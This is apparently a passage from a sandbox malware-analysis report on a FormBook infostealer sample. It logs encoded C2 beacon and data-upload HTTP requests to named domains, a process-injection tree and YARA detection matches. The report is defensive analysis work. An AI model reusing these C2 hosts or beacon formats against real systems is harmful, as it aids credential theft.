Jan 10, 2025 23:28:01.152060986 CET	5404	OUT	Data Raw: 70 73 67 46 42 61 6e 43 30 37 56 4c 34 78 62 71 4c 73 4b 33 52 55 4c 6d 2b 76 77 4a 2f 66 47 70 44 4e 72 43 77 39 5a 56 43 54 4b 4f 42 61 57 32 4d 4b 73 45 4d 67 7a 74 31 35 62 46 43 2b 52 59 42 36 63 4e 34 4d 65 7a 79 76 35 78 38 41 44 50 6c 74 Data Ascii: psgFBanC07VL4xbqLsK3RULm+vwJ/fGpDNrCw9ZVCTKOBaW2MKsEMgzt15bFC+RYB6cN4Mezyv5x8ADPltXgR4jI3QtpPtPvLaJ+iM3JR/POd/kaib2ZUjWRKggHu2gz/0soxzKTKs6m+wBwHj/ZpODnbEW1syuxX7R/s8fA21gfu9nGg0rbxsmE1JIKd1e/WHtHgp9NnXQiJ2jafhlwzgCTwvxix2ZJq2JBDNpOTFqJgrceRkS
Jan 10, 2025 23:28:01.536716938 CET	774	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 10 Jan 2025 22:28:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Language: en X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: origin-when-cross-origin X-XSS-Protection: 1; mode=block Expect-CT: enforce; max-age=3600 Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=63072000 Content-Encoding: gzip Data Raw: 31 30 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 6d 51 31 52 c3 30 10 ec 79 c5 a1 1a 3b b8 a3 88 d2 10 e8 18 52 84 82 f2 22 2f f6 4d 64 99 f1 1d f1 e4 f7 28 09 99 24 1e d4 ed 4a bb da bd 23 3a 9d f9 fd f2 fd 79 fd b9 7a a1 d6 ba b8 b8 a3 33 7f 80 14 39 35 de 21 b9 eb 0b 70 7d 81 47 aa 83 31 85 96 07 85 79 f7 b1 7e 2d 9e dc 7f 4f 12 77 f0 6e 27 18 bf fb c1 1c 85 3e 19 52 96 8c 52 5b eb 6b ec 24 a0 38 82 07 92 24 26 1c 0b 0d 1c e1 ab f2 71 6a 19 25 6d 69 40 f4 4e 6d 1f a1 2d 90 3d db 01 5f 67 a6 0c aa 53 95 89 45 2c de 58 8c 53 00 75 50 e5 06 f3 d9 89 bf d4 9c dd f6 9c 6f fa 7a 3f b1 aa 65 47 21 b2 aa 77 1d cb a1 ca c1 b2 f8 b3 9c 7c 7c 9a 5d b5 58 b7 a0 11 1b 15 03 89 d2 4f aa 31 34 bd a4 86 ae 3c 4a 5a 45 b0 22 4f a8 03 6d 38 6c f3 2a 0c 43 99 63 55 93 14 b3 1c e3 3a f7 6d d0 2c b8 d9 eb 2f b4 74 8c 33 f8 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 10dmQ1R0y;R"/Md($J#:yz395!p}G1y~-Own'>RR[k$8$&qj%mi@Nm-=_gSE,XSuPoz?eG!w\|\|]XO14<JZE"Om8l*CcU:m,/t30

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.11.20	49842	46.253.5.221	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:28:03.945377111 CET	542	OUT	GET /3jkd/?oRQ0=OV24X0&kR8XbB2P=viqvvCAhbaK/XzQZUz/lY2liCTl6q/4oZG6aYolEdOIRljqehA+X2d4A19u6o+Q4sdEI/GJ3MO62J6fzB1X/Ewa0fcqnV5vszuHoPlnDmrWLQllTqa4ER4w= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.windsky.click Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:28:04.321708918 CET	985	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 10 Jan 2025 22:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Language: en X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: origin-when-cross-origin X-XSS-Protection: 1; mode=block Expect-CT: enforce; max-age=3600 Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=63072000 Data Raw: 31 66 38 0d 0a 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 73 2e 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 69 74 61 6e 63 65 20 6d 65 73 73 61 67 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 [TRUNCATED] Data Ascii: 1f8 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="styles.css"> <title>Maitance message</title> </head> <body> <div class="maintenance-message"> <h1>The website is undergoing maintenance. Please come back later.</h1> </div> </body> </html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.11.20	49843	146.88.233.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:28:14.576152086 CET	825	OUT	POST /d0ie/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.smartcongress.net Origin: http://www.smartcongress.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.smartcongress.net/d0ie/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 43 72 70 71 55 42 75 33 74 38 53 54 63 44 53 43 68 69 6d 36 51 7a 56 4c 46 5a 45 46 61 30 4c 67 41 51 6b 38 34 75 49 70 73 42 4d 4c 70 65 36 7a 45 70 43 74 64 76 7a 6b 75 52 75 33 66 61 77 73 44 68 34 33 6a 70 47 4f 45 6f 37 46 51 36 44 45 45 43 68 67 6a 41 44 43 69 4a 51 42 6b 36 72 4e 68 4b 4f 59 4d 53 79 55 36 4e 71 6d 41 36 78 4c 66 31 35 4c 4f 37 61 67 48 53 44 4d 62 38 39 4a 54 34 62 46 41 71 42 57 4b 41 77 4b 42 44 52 4e 42 4b 31 70 73 66 6a 66 7a 6b 77 4f 54 59 53 69 66 71 54 78 5a 53 50 58 68 47 68 37 4f 51 39 56 57 36 6b 31 70 64 4d 77 76 38 6d 62 57 6c 62 58 68 67 3d 3d Data Ascii: kR8XbB2P=CrpqUBu3t8STcDSChim6QzVLFZEFa0LgAQk84uIpsBMLpe6zEpCtdvzkuRu3fawsDh43jpGOEo7FQ6DEEChgjADCiJQBk6rNhKOYMSyU6NqmA6xLf15LO7agHSDMb89JT4bFAqBWKAwKBDRNBK1psfjfzkwOTYSifqTxZSPXhGh7OQ9VW6k1pdMwv8mbWlbXhg==
Jan 10, 2025 23:28:15.056433916 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Fri, 10 Jan 2025 22:28:14 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.11.20	49844	146.88.233.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:28:17.340476036 CET	845	OUT	POST /d0ie/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.smartcongress.net Origin: http://www.smartcongress.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.smartcongress.net/d0ie/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 43 72 70 71 55 42 75 33 74 38 53 54 64 6a 69 43 6e 46 61 36 58 54 56 49 4a 35 45 46 44 6b 4c 6b 41 51 59 38 34 76 64 6b 73 53 6f 4c 71 36 71 7a 46 73 32 74 63 76 7a 6b 6c 78 76 63 43 71 77 79 44 68 39 64 6a 6f 36 4f 45 6f 2f 46 51 37 7a 45 45 31 4d 53 69 51 44 41 70 70 51 44 71 61 72 4e 68 4b 4f 59 4d 53 6e 4a 36 4d 4f 6d 41 4c 42 4c 64 51 46 49 4e 37 61 6a 4f 79 44 4d 52 63 38 41 54 34 61 67 41 76 70 6f 4b 44 45 4b 42 48 56 4e 42 34 52 71 6d 66 6a 5a 33 6b 78 2b 66 35 4c 79 63 4c 76 72 61 67 37 71 72 7a 35 2f 4c 47 77 50 4c 49 51 52 71 4f 51 43 72 4d 66 7a 55 6e 61 4d 38 6c 62 6e 31 36 6a 35 30 5a 45 71 50 44 2f 39 4d 73 73 44 66 44 67 3d Data Ascii: kR8XbB2P=CrpqUBu3t8STdjiCnFa6XTVIJ5EFDkLkAQY84vdksSoLq6qzFs2tcvzklxvcCqwyDh9djo6OEo/FQ7zEE1MSiQDAppQDqarNhKOYMSnJ6MOmALBLdQFIN7ajOyDMRc8AT4agAvpoKDEKBHVNB4RqmfjZ3kx+f5LycLvrag7qrz5/LGwPLIQRqOQCrMfzUnaM8lbn16j50ZEqPD/9MssDfDg=
Jan 10, 2025 23:28:17.574012995 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Fri, 10 Jan 2025 22:28:17 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.11.20	49845	146.88.233.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:28:20.113152027 CET	2578	OUT	POST /d0ie/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.smartcongress.net Origin: http://www.smartcongress.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.smartcongress.net/d0ie/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 43 72 70 71 55 42 75 33 74 38 53 54 64 6a 69 43 6e 46 61 36 58 54 56 49 4a 35 45 46 44 6b 4c 6b 41 51 59 38 34 76 64 6b 73 53 67 4c 70 49 69 7a 46 4c 61 74 66 76 7a 6b 73 52 76 66 43 71 78 75 44 68 46 47 6a 6f 32 65 45 75 6a 46 57 64 6e 45 47 41 34 53 72 51 44 41 6d 4a 51 43 6b 36 72 59 68 4b 65 63 4d 53 33 4a 36 4d 4f 6d 41 4a 5a 4c 5a 46 35 49 4c 37 61 67 48 53 44 51 62 38 38 6f 54 34 53 61 41 76 6c 34 4a 31 30 4b 43 6e 46 4e 53 36 4a 71 67 50 6a 68 77 6b 78 6d 66 35 32 6f 63 4c 7a 77 61 6a 6d 50 72 30 6c 2f 48 41 77 58 58 4b 34 5a 30 2b 59 65 6a 74 4c 72 56 52 47 59 35 6d 6a 4a 6c 62 76 78 30 70 4a 34 51 56 2b 7a 65 70 6f 43 47 30 36 70 37 31 2b 4b 2f 43 79 2f 54 46 75 31 66 6d 34 64 6c 7a 65 2f 52 4e 59 55 39 75 44 64 66 45 2f 74 70 2f 78 71 57 4b 55 53 76 49 39 33 6f 57 6b 69 74 2f 65 45 49 62 51 51 4c 43 71 6f 66 54 44 5a 6f 61 34 4a 37 4a 4a 61 78 77 6c 45 6c 77 51 57 76 51 46 79 39 70 4b 66 63 56 4e 44 44 38 42 67 39 4a 54 54 39 61 55 48 59 43 67 6c 6d 55 51 41 44 [TRUNCATED] Data Ascii: kR8XbB2P=CrpqUBu3t8STdjiCnFa6XTVIJ5EFDkLkAQY84vdksSgLpIizFLatfvzksRvfCqxuDhFGjo2eEujFWdnEGA4SrQDAmJQCk6rYhKecMS3J6MOmAJZLZF5IL7agHSDQb88oT4SaAvl4J10KCnFNS6JqgPjhwkxmf52ocLzwajmPr0l/HAwXXK4Z0+YejtLrVRGY5mjJlbvx0pJ4QV+zepoCG06p71+K/Cy/TFu1fm4dlze/RNYU9uDdfE/tp/xqWKUSvI93oWkit/eEIbQQLCqofTDZoa4J7JJaxwlElwQWvQFy9pKfcVNDD8Bg9JTT9aUHYCglmUQADyhesK/w6Lq0w+FQRhmjVyfMYG+bcq2WVJmuN7xnSYzcSmNGmlz1uYUo8mJB02UedvjpCV6sKnfbUu+UsMh9LzaBBEEthA6uzhExAssDs1IOrq/VkaZDDPWRYFbnDQ3ObdbrAAx9Ggm5nOq/cHVpLdUfpNNBcTo9lCjfoNrDbKpldPNEnPdoEGbPOCGqWw0OO8RXawLmCgY/75oU/yK4uqyxUQ/2rx/u1A1Jbp6bIQu8dHlIxKGWFACFHCb9MvVSKTUHYPaBKxjD7R2cP0FfLeKhXSbipFdCnSeHBtgVDdHza9Io814eSdFqMaH5ixoMWUIb8yl3nA1RVHfigMYIz3Y8fU28eFZA+AKa1ZkNwoS4oRAutPp7AYOJOd7kifcO4S1sd+WcK8ARcOluECObM4cNc93+lvSyxpJJTdpCklY6MSMnQ78TgUpRkK8sBR/1fuDLNm+FVpAM+dT+ClKbhi0wrllfUSpcGxHv48mZtd9GWnrzeyNwOPSIkxmj/H21HsGp6nZKQiE4muQGW+VFVo8rtJjcP2MquQRNIz9suWgUUS3ILnJ5gPJATS4/WmfPWMWeheyXZFjjsxlR4N22bm/t+QSuToUOhLZNqX3iPHL8OM4KHGpBh2UsVBkYcT85HVYhdSWxqZicKpwocIDFJA/9CUu/va64wiY [TRUNCATED]
Jan 10, 2025 23:28:20.113238096 CET	5416	OUT	Data Raw: 54 63 64 55 53 50 54 47 6f 6f 4e 51 38 38 49 65 35 67 5a 61 46 67 73 36 32 68 70 79 71 30 4c 2f 67 68 57 77 45 70 55 6e 4c 2f 42 78 65 5a 76 74 50 7a 50 48 44 46 65 48 43 4e 32 58 50 56 6f 70 6f 6f 4a 4d 42 2b 31 7a 32 62 6f 6d 4c 6b 75 58 46 54 Data Ascii: TcdUSPTGooNQ88Ie5gZaFgs62hpyq0L/ghWwEpUnL/BxeZvtPzPHDFeHCN2XPVopooJMB+1z2bomLkuXFTGsrWLyqwRNUOF+ZFaIWS0LYyOzHt7zrqxCqPOAnlOjGaxuYyCGLr3hCu5PIJtWdBX+5c1LVc7x2kBnrxPyq2khaiOvjv2r90axIp/6xIPTMfYsWquUk1qnGKxihKi+7YoYu/ONhEoknVOncev3zvkcWQ9g8PWr4k5
Jan 10, 2025 23:28:20.382672071 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Fri, 10 Jan 2025 22:28:20 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.20	49846	146.88.233.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:28:22.871536016 CET	546	OUT	GET /d0ie/?kR8XbB2P=PpBKX3j27/q2RET7vQCRcB12LbcAd2XcLUxm8s0q4RgJtpH2c7muacbg9DKvGIpjEVtHl43RcrDWdq7OAyJmqhK4ooMesKrpt7PRBDGK2bCSIZc4egA7CPo=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.smartcongress.net Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:28:23.105362892 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Fri, 10 Jan 2025 22:28:22 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Target ID:	0
Start time:	17:19:30
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\5CTbduoXq4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\5CTbduoXq4.exe"
Imagebase:	0x420000
File size:	803'328 bytes
MD5 hash:	FA826A652802C95350B775394DC7A6B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:19:48
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\5CTbduoXq4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\5CTbduoXq4.exe"
Imagebase:	0x920000
File size:	803'328 bytes
MD5 hash:	FA826A652802C95350B775394DC7A6B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.44647403397.0000000002400000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.44647224128.0000000001880000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:20:14
Start date:	10/01/2025
Path:	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe"
Imagebase:	0x260000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	17:20:16
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\tzutil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\tzutil.exe"
Imagebase:	0xf20000
File size:	48'640 bytes
MD5 hash:	31DE852CCF7CED517CC79596C76126B4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.49198655128.0000000000E90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.49198539173.0000000000E40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	17:20:28
Start date:	10/01/2025
Path:	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe"
Imagebase:	0x260000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.49197292849.0000000001490000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:20:40
Start date:	10/01/2025
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff792360000
File size:	597'432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2%
Total number of Nodes:	149
Total number of Limit Nodes:	14

Executed Functions

Function 076C038C Relevance: .7, Instructions: 651COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35238e3c71d05b4ae3a852dc4b4455bb398d2a91231ec0202e80ac06e99ca8a4
Instruction ID: 3147767da3be286c8f37f47e0e6da3449f4cc9f5d3b3212adeb07049bd93ccf8
Opcode Fuzzy Hash: 35238e3c71d05b4ae3a852dc4b4455bb398d2a91231ec0202e80ac06e99ca8a4
Instruction Fuzzy Hash: AA424F70A002188FEB54DFA9C8547AEBBF2FF85310F24816DD40AAB395DB34A945CF95

Function 076C0386 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7cfa1f21a24ffc70495a2f6810346b2346e9a449a5108acbb5cc9bf59f4adeb
Instruction ID: 729e292b01c5a758fc396de6ee0d0010d5a67c13314559bc97746641c5e63417
Opcode Fuzzy Hash: a7cfa1f21a24ffc70495a2f6810346b2346e9a449a5108acbb5cc9bf59f4adeb
Instruction Fuzzy Hash: B5C14AB1A00259DFDF14DFA5C9907ADBBB2FF88310F1481AAD80AAB255DB309985CF50

Function 076C2728 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19ba879edc5237307f6614187f248e81e44895f282f0f3c668215d33340602ec
Instruction ID: 2033f8c89e99da061a9825f6208a42cec26b43662afd0a5167135ad3e64e6ba1
Opcode Fuzzy Hash: 19ba879edc5237307f6614187f248e81e44895f282f0f3c668215d33340602ec
Instruction Fuzzy Hash: F9C13AB1A00259DFDF14DFA5C9907ADBBB2FF88310F1481AAD84AAB255DB309985CF50

Function 06C46BF0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

